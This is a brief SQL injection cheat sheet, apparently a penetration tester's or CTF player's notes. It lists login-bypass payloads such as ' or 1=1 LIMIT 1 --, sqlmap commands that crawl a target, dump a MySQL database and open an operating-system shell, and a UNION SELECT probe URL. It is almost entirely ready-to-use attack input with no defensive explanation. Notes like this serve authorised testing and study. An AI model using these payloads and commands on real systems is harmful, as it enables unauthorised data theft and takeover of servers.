SQL Injection

Testing for Bypasses:

' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -

SQLMAP

sqlmap crawl

sqlmap -u http://172.21.0.0 --crawl=1

sqlmap dump database

sqlmap -u http://172.21.0.0 --dbms=mysql --dump

sqlmap shell

sqlmap -u http://172.21.0.0 --dbms=mysql --os-shell

SQLI

Testing for a row:

http://target-ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8